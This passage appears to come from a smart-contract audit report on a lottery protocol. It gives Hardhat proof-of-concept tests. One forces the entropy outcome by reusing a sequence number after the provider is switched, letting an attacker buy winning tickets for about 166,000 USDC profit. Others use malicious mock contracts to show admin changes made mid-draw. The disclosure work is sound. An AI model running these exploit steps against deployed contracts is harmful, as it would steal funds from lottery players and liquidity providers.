+++ b/contracts/ScaledEntropyProvider.sol
@@ -68,7 +68,7 @@ contract ScaledEntropyProvider is Ownable, IScaledEntropyProvider, IEntropyConsu
IEntropyV2 private entropy;
address private entropyProvider;
- mapping(uint64 => PendingRequest) private pending;
+ mapping(address => mapping(uint64 => PendingRequest)) private pending;
Expand for detailed Proof of Concept
Proof of Concept
Change networks.hardhat config section in hardhat.config.ts to this:
hardhat: {
chainId: 31337,
allowUnlimitedContractSize: true,
forking: {
url: process.env.MAINNET_RPC_URL!, // make sure to set this env variable to Base mainnet
blockNumber: 37973769, // block number I tested with
enabled: true,
},
gasPrice: 1000000000
}
Add a new file under contracts/interfaces called IEntropyV2Complete.sol with the below code:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import { IEntropyV2 } from "@pythnetwork/entropy-sdk-solidity/IEntropyV2.sol";
interface IEntropyV2Complete is IEntropyV2 {
struct Request {
// Storage slot 1 //
address provider;
uint64 sequenceNumber;
// The number of hashes required to verify the provider revelation.
uint32 numHashes;
// Storage slot 2 //
// The commitment is keccak256(userCommitment, providerCommitment). Storing the hash instead of both saves 20k gas by
// eliminating 1 store.
bytes32 commitment;
// Storage slot 3 //
// The number of the block where this request was created.
// Note that we're using a uint64 such that we have an additional space for an address and other fields in
// this storage slot. Although block.number returns a uint256, 64 bits should be plenty to index all of the
// blocks ever generated.
uint64 blockNumber;
// The address that requested this random number.
address requester;
// If true, incorporate the blockhash of blockNumber into the generated random value.
bool useBlockhash;
// True if this is a request that expects a callback.
bool isRequestWithCallback;
}
event RequestedWithCallback(
address indexed provider,
address indexed requestor,
uint64 indexed sequenceNumber,
bytes32 userRandomNumber,
Request request
);
// Register msg.sender as a randomness provider. The arguments are the provider's configuration parameters
// and initial commitment. Re-registering the same provider rotates the provider's commitment (and updates
// the feeInWei).
//
// chainLength is the number of values in the hash chain *including* the commitment, that is, chainLength >= 1.
function register(
uint128 feeInWei,
bytes32 commitment,
bytes calldata commitmentMetadata,
uint64 chainLength,
bytes calldata uri
) external;
function revealWithCallback(
address provider,
uint64 sequenceNumber,
bytes32 userRandomNumber,
bytes32 providerRevelation
) external;
}
Replace the contents of C4PoC.spec.ts with the below code:
import { ethers } from "hardhat";
import DeployHelper from "@utils/deploys";
import { getWaffleExpect, getAccounts } from "@utils/test/index";
import { ether, usdc } from "@utils/common";
import { Account } from "@utils/test";
import { PRECISE_UNIT } from "@utils/constants";
import { IEntropyV2Complete } from "../../typechain-types";
import {
GuaranteedMinimumPayoutCalculator,
Jackpot,
JackpotBridgeManager,
JackpotLPManager,
JackpotTicketNFT,
MockDepository,
ReentrantUSDCMock,
ScaledEntropyProvider,
ScaledEntropyProviderMock,
} from "@utils/contracts";
import {
Address,
JackpotSystemFixture,
RelayTxData,
Ticket,
} from "@utils/types";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import {
calculatePackedTicket,
calculateTicketId,
generateClaimTicketSignature,
generateClaimWinningsSignature,
} from "@utils/protocolUtils";
import { ADDRESS_ZERO } from "@utils/constants";
import {
takeSnapshot,
SnapshotRestorer,
time,
} from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { EventLog, keccak256, Log } from "ethers";
const expect = getWaffleExpect();
describe("C4", () => {
let owner: Account;
let buyerOne: Account;
let buyerTwo: Account;
let referrerOne: Account;
let referrerTwo: Account;
let referrerThree: Account;
let solver: Account;
let jackpotSystem: JackpotSystemFixture;
let jackpot: Jackpot;
let jackpotNFT: JackpotTicketNFT;
let jackpotLPManager: JackpotLPManager;
let payoutCalculator: GuaranteedMinimumPayoutCalculator;
let usdcMock: ReentrantUSDCMock;
let entropyProvider: ScaledEntropyProvider;
let snapshot: SnapshotRestorer;
let jackpotBridgeManager: JackpotBridgeManager;
let mockDepository: MockDepository;
let entropy: IEntropyV2Complete;
let pythEntropyProvider: Account;
let pythEntropyProvider2: Account;
const providerContribution = ethers.encodeBytes32String("hello");
const providerContribution2 = ethers.keccak256(providerContribution);
beforeEach(async () => {
[
owner,
buyerOne,
buyerTwo,
referrerOne,
referrerTwo,
referrerThree,
solver,
pythEntropyProvider,
pythEntropyProvider2
] = await getAccounts();
jackpotSystem = await deployJackpotSystem();
jackpot = jackpotSystem.jackpot;
jackpotNFT = jackpotSystem.jackpotNFT;
jackpotLPManager = jackpotSystem.jackpotLPManager;
payoutCalculator = jackpotSystem.payoutCalculator;
usdcMock = jackpotSystem.usdcMock;
// Give some USDC to the attacker
await usdcMock.connect(owner.wallet).transfer(buyerOne.address, usdc(5000));
await usdcMock
.connect(buyerOne.wallet)
.approve(jackpot.getAddress(), usdc(1000000));
entropy = await ethers.getContractAt(
"IEntropyV2Complete",
"0x6e7d74fa7d5c90fef9f0512987605a6d546181bb" // Pyth Entropy contract from Base mainnet
);
entropyProvider = await jackpotSystem.deployer.deployScaledEntropyProvider(
await entropy.getAddress(),
pythEntropyProvider.address
);
// Register different entropy providers for testing
await entropy.connect(pythEntropyProvider.wallet).register(
64,
ethers.keccak256(providerContribution2),
"0x00", // commitment metadata (not used)
1024,
"0x00" // uri (not used)
);
await entropy.connect(pythEntropyProvider2.wallet).register(
64,
ethers.keccak256(providerContribution2),
"0x00", // commitment metadata (not used)
1024,
"0x00" // uri (not used)
);
// Setup the scenario such that the `pythEntropyProvider` currently used by the lottery system is at sequence number 2
// (while `pythEntropyProvider2` - which the admin will switch to use later - is behind at sequence number 1)
const initContrib = ethers.encodeBytes32String("test");
const initFee = await entropy["getFeeV2(address,uint32)"](pythEntropyProvider.address, 0);
await entropy.requestV2(pythEntropyProvider.address, keccak256(initContrib), 0, {value: initFee});
const pythEntropyProviderInfo = await entropy.getProviderInfoV2(pythEntropyProvider.address);
expect(pythEntropyProviderInfo.sequenceNumber).to.equal(2, "Should be at sequence number 2");
const pythEntropyProviderInfo2 = await entropy.getProviderInfoV2(pythEntropyProvider2.address);
expect(pythEntropyProviderInfo2.sequenceNumber).to.equal(1, "Should be at sequence number 1");
await jackpot
.connect(owner.wallet)
.initialize(
usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
entropyProvider.getAddress(),
await payoutCalculator.getAddress(),
);
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(10000000));
await usdcMock
.connect(owner.wallet)
.approve(jackpot.getAddress(), usdc(1000000));
await jackpot.connect(owner.wallet).lpDeposit(usdc(1000000));
await jackpot
.connect(owner.wallet)
.initializeJackpot(
BigInt(await time.latest()) +
BigInt(jackpotSystem.deploymentParams.drawingDurationInSeconds),
);
jackpotBridgeManager =
await jackpotSystem.deployer.deployJackpotBridgeManager(
await jackpot.getAddress(),
await jackpotNFT.getAddress(),
await usdcMock.getAddress(),
"MegapotBridgeManager",
"1.0.0",
);
mockDepository = await jackpotSystem.deployer.deployMockDepository(
await usdcMock.getAddress(),
);
snapshot = await takeSnapshot();
});
beforeEach(async () => {
await snapshot.restore();
});
describe("PoC", async () => {
it("demonstrates the C4 submission's validity", async () => {
// Attacker calls `requestAndCallbackScaledRandomness` such that the result is garantueed:
// The first sample set will always be [1,2,3,4,5] and the second is always [1], regardless of the random number
const setRequests = [
{
samples: 5,
minRange: 1,
maxRange: 5,
withReplacement: false
},
{
samples: 1,
minRange: 1,
maxRange: 1,
withReplacement: false
}
];
const gasLimit = 100_000;
const fee = await entropyProvider.getFee(gasLimit);
await entropyProvider
.connect(buyerOne.wallet)
.requestAndCallbackScaledRandomness
.staticCall(
gasLimit,
setRequests,
"0x12345678",
ethers.encodeBytes32String("context"),
{ value: fee }
);
// Attacker requests randomness which will use identical sequence number as that of a subsequent call to `jackpot.runJackpot`
const requestRandomTx = await entropyProvider
.connect(buyerOne.wallet)
.requestAndCallbackScaledRandomness(
gasLimit,
setRequests,
"0x12345678",
ethers.encodeBytes32String("context"),
{ value: fee }
);
// Extract userContribution from the transaction logs
const requestRandomReceipt = await requestRandomTx.wait();
const eventSignature = entropy.interface.getEvent("RequestedWithCallback").topicHash;
const event = requestRandomReceipt!.logs
.filter((log): log is Log => log instanceof ethers.Log).find(
(log) => log.topics[0] === eventSignature
);
const userContribution = entropy.interface.parseLog(event!)?.args[3];
await entropyProvider
.connect(owner.wallet)
.setEntropyProvider(pythEntropyProvider2.address);
// Attacker advances the sequence number of `pythEntropyProvider2`, so that after the system switches to use this provider,
// the sequence number will match
const initFee = await entropy["getFeeV2(address,uint32)"](pythEntropyProvider2.address, 0);
await entropy
.connect(buyerOne.wallet)
.requestV2(pythEntropyProvider2.address, keccak256(ethers.encodeBytes32String("test")), 0, {value: initFee});
// Attacker buys several of the winning ticket
await jackpot.connect(buyerOne.wallet).buyTickets(
Array(10).fill({normals: [1, 2, 3, 4, 5], bonusball: 1}),
buyerOne.address,
[],
[],
ethers.encodeBytes32String("source")
);
const userTicketIds = (await jackpotNFT.getUserTickets(buyerOne.address, 1)).map(t => t.ticketId);
await time.increase(jackpotSystem.deploymentParams.drawingDurationInSeconds + BigInt(1));
const entropyFee: bigint = ether(0.00005);
const entropyBaseGasLimit: bigint = BigInt(1000000);
const entropyVariableGasLimit: bigint = BigInt(250000);
const drawingState = await jackpot.getDrawingState(1);
await jackpot
.connect(buyerOne.wallet)
.runJackpot({value: entropyFee + ((entropyBaseGasLimit + entropyVariableGasLimit * drawingState.bonusballMax) * BigInt(1e7))});
// Entropy provider gives the random number
await entropy.connect(pythEntropyProvider.wallet).revealWithCallback(
pythEntropyProvider.address,
2,
userContribution,
providerContribution
);
const userInitUSDCBal = await usdcMock.balanceOf(buyerOne.address);
await jackpot.connect(buyerOne.wallet).claimWinnings(userTicketIds);
const finalUSDCBal = await usdcMock.balanceOf(buyerOne.address);
console.log("Balance change: ", finalUSDCBal - userInitUSDCBal);
}).timeout(60 * 15 * 1000);
});
});
The test logs indicate the attacker makes about 166,000 USDC profit in this example.
[M-07] Changing Entropy Provider During Active Drawing Causes Permanent Protocol Lock and Callback Failure
Submitted by Alex_Cipher, also found by 0xnightswatch, adriansham99, cosin3, edoscoba, overseer, undefined_joe, and valarislife
This submission is a duplicate of S-365 created at the judge’s request in order to appropriately allocate credit to wardens who reported partially similar issues.
Expand for detailed Proof of Concept
Proof of Concept
TESTS
🧪 PoC 1 — Setting LPManager Affects Settlement (JackpotLPManager)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";
describe("PoC: admin/malicious LPManager affects settlement (JackpotLPManager)", function () {
it("Case A: normal LP manager succeeds; Case B: malicious LP manager causes revert on settlement", async function () {
const jackpotSystem = await deployJackpotSystem();
const {
owner,
buyerOne,
lpOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
deploymentParams,
deployer,
} = jackpotSystem as any;
// Initialize contracts (original system)
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Prepare LP deposit so prize pool can be initialized
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize jackpot
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
await time.increase(3);
// Buyer purchases tickets
const tickets = [] as any[];
for (let i = 0; i < 3; i++) tickets.push({ normals: [1n,2n,3n,4n,5n], bonusball: 1n });
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);
// Request randomness (runJackpot)
const fee = await jackpot.getEntropyCallbackFee();
await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });
const randomNumbers = [ [10,11,12,13,14], [6] ];
// Snapshot right before callback
const snapshot = await takeSnapshot();
const beforeId = Number((await jackpot.currentDrawingId()).toString());
// Case A: Normal LP manager runs callback successfully
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterIdA = Number((await jackpot.currentDrawingId()).toString());
expect(afterIdA).to.equal(beforeId + 1);
// Revert to snapshot
await snapshot.restore();
// Case B: Deploy malicious LP manager and create a fresh jackpot that uses it
const MaliciousLP = await ethers.getContractFactory("MaliciousLPManagerMock");
const maliciousLP = await MaliciousLP.connect(owner.wallet).deploy();
// Deploy a new Jackpot with the same params but using the malicious LP manager
const newJackpot = await deployer.deployJackpot(
deploymentParams.drawingDurationInSeconds,
deploymentParams.normalBallMax,
deploymentParams.bonusballMin,
deploymentParams.lpEdgeTarget,
deploymentParams.reserveRatio,
deploymentParams.referralFee,
deploymentParams.referralWinShare,
deploymentParams.protocolFee,
deploymentParams.protocolFeeThreshold,
deploymentParams.ticketPrice,
deploymentParams.maxReferrers,
deploymentParams.entropyBaseGasLimit
);
const newJackpotNFT = await deployer.deployJackpotTicketNFT(await newJackpot.getAddress());
const newPayoutCalculator = await deployer.deployGuaranteedMinimumPayoutCalculator(
await newJackpot.getAddress(),
deploymentParams.minimumPayout,
deploymentParams.premiumTierMinAllocation,
deploymentParams.minPayoutTiers,
deploymentParams.premiumTierWeights
);
const newEntropyProvider = await deployer.deployScaledEntropyProviderMock(
deploymentParams.entropyFee,
await newJackpot.getAddress(),
newJackpot.interface.getFunction("scaledEntropyCallback").selector
);
// Initialize the new jackpot with malicious LP manager
await newJackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await maliciousLP.getAddress(),
await newJackpotNFT.getAddress(),
await newEntropyProvider.getAddress(),
await newPayoutCalculator.getAddress()
);
// Prepare LP deposit for new jackpot
await newJackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
await usdcMock.connect(lpOne.wallet).approve(await newJackpot.getAddress(), usdc(100000));
await newJackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize new jackpot
const now2 = (await ethers.provider.getBlock("latest"))!.timestamp;
await newJackpot.connect(owner.wallet).initializeJackpot(now2 + 1);
await time.increase(3);
// Buyer purchases tickets on the new jackpot
await usdcMock.connect(buyerOne.wallet).approve(await newJackpot.getAddress(), usdc(1000));
await newJackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);
// Request randomness for new jackpot
const fee2 = await newJackpot.getEntropyCallbackFee();
await newJackpot.connect(buyerOne.wallet).runJackpot({ value: fee2 });
// Attempt to callback via the new entropy provider which should trigger the malicious LP manager revert
await expect(newEntropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers)).to.be.revertedWith(
"Malicious LP Manager"
);
// Confirm new jackpot did not progress
const afterIdB = Number((await newJackpot.currentDrawingId()).toString());
expect(afterIdB).to.equal(beforeId);
});
});
🧪 PoC 2 — Admin Alters Entropy Provider Mid-Draw (EntropyProvider Manipulation)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";
describe("PoC: admin changes mid-drawing affect settlement (entropy provider)", function () {
it("Case A: normal provider works; Case B: malicious provider causes DOS / revert", async function () {
const jackpotSystem = await deployJackpotSystem();
const {
owner,
buyerOne,
lpOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
} = jackpotSystem as any;
// Initialize contracts
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Prepare LP deposit so prize pool can be initialized
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize jackpot
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
await time.increase(3);
// Buyer purchases tickets
const tickets = [] as any[];
for (let i = 0; i < 3; i++) tickets.push({ normals: [1n,2n,3n,4n,5n], bonusball: 1n });
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);
// Request randomness (runJackpot)
const fee = await jackpot.getEntropyCallbackFee();
await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });
const randomNumbers = [ [10,11,12,13,14], [6] ];
// Snapshot right before callback
const snapshot = await takeSnapshot();
const beforeId = Number((await jackpot.currentDrawingId()).toString());
// Case A: Normal provider runs callback successfully
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterIdA = Number((await jackpot.currentDrawingId()).toString());
expect(afterIdA).to.equal(beforeId + 1);
// Revert to snapshot
await snapshot.restore();
// Case B: deploy malicious provider and set it as the entropy provider
const Malicious = await ethers.getContractFactory("MaliciousEntropyProviderMock");
const malicious = await Malicious.connect(owner.wallet).deploy(ether(0.00001));
const maliciousAddr = await malicious.getAddress();
await jackpot.connect(owner.wallet).setEntropy(maliciousAddr);
// Attempt to invoke callback via malicious provider - expect revert (DOS)
await expect(malicious.connect(owner.wallet).randomnessCallback(randomNumbers)).to.be.revertedWith(
"Malicious provider: refusing to callback"
);
// Confirm drawing did not progress
const afterIdB = Number((await jackpot.currentDrawingId()).toString());
expect(afterIdB).to.equal(beforeId);
});
});
🧪 PoC 3 — Admin Modifies Protocol Fee During Active Draw (Protocol Fee Exploit)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";
describe("PoC: admin changes mid-drawing affect settlement (protocolFee)", function () {
it("changing protocolFee before callback changes protocol fee extracted at settlement", async function () {
// Deploy full fixture
const jackpotSystem = await deployJackpotSystem();
const {
owner,
buyerOne,
lpOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
deploymentParams,
deployer,
} = jackpotSystem as any;
// Initialize contracts
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Initialize LP deposits (set a large cap)
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(1000000));
// LP deposit so that LP accounting is non-zero
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize jackpot (set initial drawing time to now)
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
// Move time forward so drawing is due
await time.increase(3);
// Buyer purchases multiple tickets to create sufficient lpEarnings > protocolFeeThreshold
const tickets = [] as any[];
for (let i = 0; i < 10; i++) {
tickets.push({ normals: [1n, 2n, 3n, 4n, 5n], bonusball: 1n });
}
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);
// Request randomness (runJackpot) and fund with provider fee
const fee = await jackpot.getEntropyCallbackFee();
await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });
// Prepare deterministic randomness: two arrays (5 normals, 1 bonusball) that don't match purchased tickets
const randomNumbers = [
[10, 11, 12, 13, 14],
[6]
];
const protocolFeeAddress = await jackpot.protocolFeeAddress();
// Ensure Case A uses a protocolFee of 0.01 (explicit) then snapshot the chain state right before callback
const originalFee = ether(0.01);
await jackpot.connect(owner.wallet).setProtocolFee(originalFee);
const snapshot = await takeSnapshot();
// Case A: use the current protocolFee (as deployed)
const beforeA = await usdcMock.balanceOf(protocolFeeAddress);
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterA = await usdcMock.balanceOf(protocolFeeAddress);
const collectedA = afterA - beforeA;
// Revert to snapshot (before callback)
await snapshot.restore();
// Case B: change protocolFee to a different value mid-drawing, then callback
const higherFee = ether(0.02); // 2%
await jackpot.connect(owner.wallet).setProtocolFee(higherFee);
const beforeB = await usdcMock.balanceOf(protocolFeeAddress);
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterB = await usdcMock.balanceOf(protocolFeeAddress);
const collectedB = afterB - beforeB;
// Assert that collected protocol fees differ when protocolFee changed mid-drawing
expect(collectedA).to.not.equal(collectedB);
// If higherFee > original, the later collected amount should be >= earlier (sanity)
expect(collectedB >= collectedA).to.be.true;
});
});
🧪 PoC 4 — Admin Changes Payout Calculator (Winnings Distortion)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
describe("PoC: admin changes mid-drawing affect settlement (payoutCalculator)", function () {
it("swapping payoutCalculator before callback changes drawing user winnings and protocol fee", async function () {
const jackpotSystem = await deployJackpotSystem();
const {
owner,
buyerOne,
lpOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
} = jackpotSystem as any;
// Initialize contracts
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Prepare LP deposit so prize pool can be initialized
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize jackpot
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
await time.increase(3);
// Buyer purchases tickets
const tickets = [] as any[];
for (let i = 0; i < 5; i++) tickets.push({ normals: [1n,2n,3n,4n,5n], bonusball: 1n });
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], "0x0000000000000000000000000000000000000000000000000000000000000000");
// Request randomness (runJackpot)
const fee = await jackpot.getEntropyCallbackFee();
await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });
const randomNumbers = [ [10,11,12,13,14], [6] ];
const protocolFeeAddress = await jackpot.protocolFeeAddress();
// Snapshot right before callback
const snapshot = await takeSnapshot();
// Case A: use original payoutCalculator
const beforeA = await usdcMock.balanceOf(protocolFeeAddress);
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterA = await usdcMock.balanceOf(protocolFeeAddress);
const collectedA = afterA - beforeA;
// Revert to snapshot
await snapshot.restore();
// Case B
// Deploy a mock payout calculator that returns slightly larger user winnings (multiplier > 1e18 but modest)
const Mock = await ethers.getContractFactory("MockPayoutCalculator");
// multiplier 1.1x = 1.1e18 (use integer math)
const mult = (ether(1) * 11n) / 10n;
const mock = await Mock.connect(owner.wallet).deploy(mult);
const mockAddr = await mock.getAddress();
// Swap payout calculator (admin action) before callback
await jackpot.connect(owner.wallet).setPayoutCalculator(mockAddr);
const beforeB = await usdcMock.balanceOf(protocolFeeAddress);
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterB = await usdcMock.balanceOf(protocolFeeAddress);
const collectedB = afterB - beforeB;
// Swapping to a different payout calculator should change the protocol fee collected at settlement
expect(collectedA).to.not.equal(collectedB);
});
});
🧪 PoC 5 — Admin Modifies Referral Fee (Refund Manipulation)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";
describe("PoC: admin changes mid-drawing affect refunds (referralFee)", function () {
it("changing referralFee before emergency refund changes refund amount", async function () {
const jackpotSystem = await deployJackpotSystem();
const {
owner,
lpOne,
buyerOne,
referrerOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
} = jackpotSystem as any;
// Initialize contracts (use addresses from the fixture)
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Ensure LP deposits and first drawing are set up (reuse the same sequence as other PoCs)
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
// LP deposit so that LP accounting is non-zero
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
// Give buyerOne a small amount and initialize the jackpot
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
// Move time forward so drawing is due
await time.increase(3);
// Buy a single ticket with a referral scheme (referrerOne gets 100%)
const tickets = [{ normals: [1n,2n,3n,4n,5n], bonusball: 1n }];
const referrers = [referrerOne.address];
const referralSplit = [ether(1)]; // 100% to single referrer
// Approve and buy
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(10));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, referrers, referralSplit, ZERO_BYTES32);
// Identify the minted ticket id via the NFT helper
const drawingId = Number((await jackpot.currentDrawingId()).toString());
const userTickets = await jackpotNFT.getUserTickets(buyerOne.address, drawingId);
expect(userTickets.length).to.be.greaterThan(0);
const ticketId = userTickets[0].ticketId;
// Snapshot the chain right before emergency/refund
const snapshot = await takeSnapshot();
// Case A: set referralFee to original (e.g., 6.5%) then enable emergency and refund
const originalReferralFee = ether(0.065);
await jackpot.connect(owner.wallet).setReferralFee(originalReferralFee);
// Enable emergency mode and perform refund
await jackpot.connect(owner.wallet).enableEmergencyMode();
const beforeA = await usdcMock.balanceOf(buyerOne.address);
await jackpot.connect(buyerOne.wallet).emergencyRefundTickets([ticketId]);
const afterA = await usdcMock.balanceOf(buyerOne.address);
const refundedA = afterA - beforeA;
// Revert to snapshot (ticket and balances restored)
await snapshot.restore();
// Case B: increase referralFee (10%) before refund, then enable emergency and refund
const higherReferralFee = ether(0.1);
await jackpot.connect(owner.wallet).setReferralFee(higherReferralFee);
await jackpot.connect(owner.wallet).enableEmergencyMode();
const userTicketsB = await jackpotNFT.getUserTickets(buyerOne.address, drawingId);
const ticketIdB = userTicketsB[0].ticketId;
const beforeB = await usdcMock.balanceOf(buyerOne.address);
await jackpot.connect(buyerOne.wallet).emergencyRefundTickets([ticketIdB]);
const afterB = await usdcMock.balanceOf(buyerOne.address);
const refundedB = afterB - beforeB;
// The refund uses `ticketPrice * (1 - referralFee)` when a referral scheme exists.
// Therefore increasing referralFee should *decrease* the refund amount.
expect(refundedA).to.not.equal(refundedB);
expect(refundedA > refundedB).to.be.true;
});
});
Mocks
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import { IScaledEntropyProvider } from "../interfaces/IScaledEntropyProvider.sol";
/**
* @notice Malicious entropy provider used for PoC testing.
* Its `randomnessCallback` intentionally reverts to simulate a DOS or faulty provider.
*/
contract MaliciousEntropyProviderMock is IScaledEntropyProvider {
uint256 public fee;
constructor(uint256 _fee) {
fee = _fee;
}
function requestAndCallbackScaledRandomness(
uint32,
IScaledEntropyProvider.SetRequest[] memory,
bytes4,
bytes memory
) external payable returns (uint64 requestId) {
// Record request but do nothing special; return id
requestId = uint64(1);
}
function randomnessCallback(uint256[][] memory) external {
revert("Malicious provider: refusing to callback");
}
function getFee(uint32) external view returns (uint256) {
return fee;
}
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import { IJackpotLPManager } from "../interfaces/IJackpotLPManager.sol";
contract MaliciousLPManagerMock is IJackpotLPManager {
// Use an internal struct name to avoid conflicting with the interface's LPDrawingState
struct InternalLPState {
uint256 lpPoolTotal;
uint256 pendingDeposits;
uint256 pendingWithdrawals;
}
mapping(uint256 => InternalLPState) internal states;
function processDeposit(uint256 _drawingId, address /* _lpAddress */, uint256 _amount) external override {
// Track pending deposits so Jackpot.initializeJackpot can proceed
states[_drawingId].pendingDeposits += _amount;
states[_drawingId].lpPoolTotal += _amount;
}
function processInitiateWithdraw(uint256, address, uint256) external override {
// no-op
}
function processFinalizeWithdraw(uint256, address) external pure override returns (uint256 withdrawableAmount) {
return 0;
}
function processDrawingSettlement(
uint256 _drawingId,
uint256 /* _lpEarnings */,
uint256 /* _userWinnings */,
uint256 /* _protocolFeeAmount */
) external override returns (uint256, uint256) {
// Allow the initial settlement called during initializeJackpot (drawing 0) to succeed
// but become malicious for real drawings (drawingId > 0)
if (_drawingId == 0) {
uint256 newLPValue = states[_drawingId].lpPoolTotal;
return (newLPValue, 1e18);
}
revert("Malicious LP Manager");
}
function emergencyWithdrawLP(uint256, address) external pure override returns (uint256 withdrawableAmount) {
